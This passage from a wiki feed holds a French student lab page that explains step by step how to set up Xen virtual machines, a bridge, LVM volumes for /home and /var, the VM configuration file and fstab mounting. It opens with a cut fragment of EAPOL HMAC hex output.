                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12373</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12373"/>
		<updated>2026-02-24T14:08:44Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Cassage de clé WIFI */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
=== VM de service (serveurs) ===&lt;br /&gt;
&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
=== VM mandataire (gateway) ===&lt;br /&gt;
&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne &lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
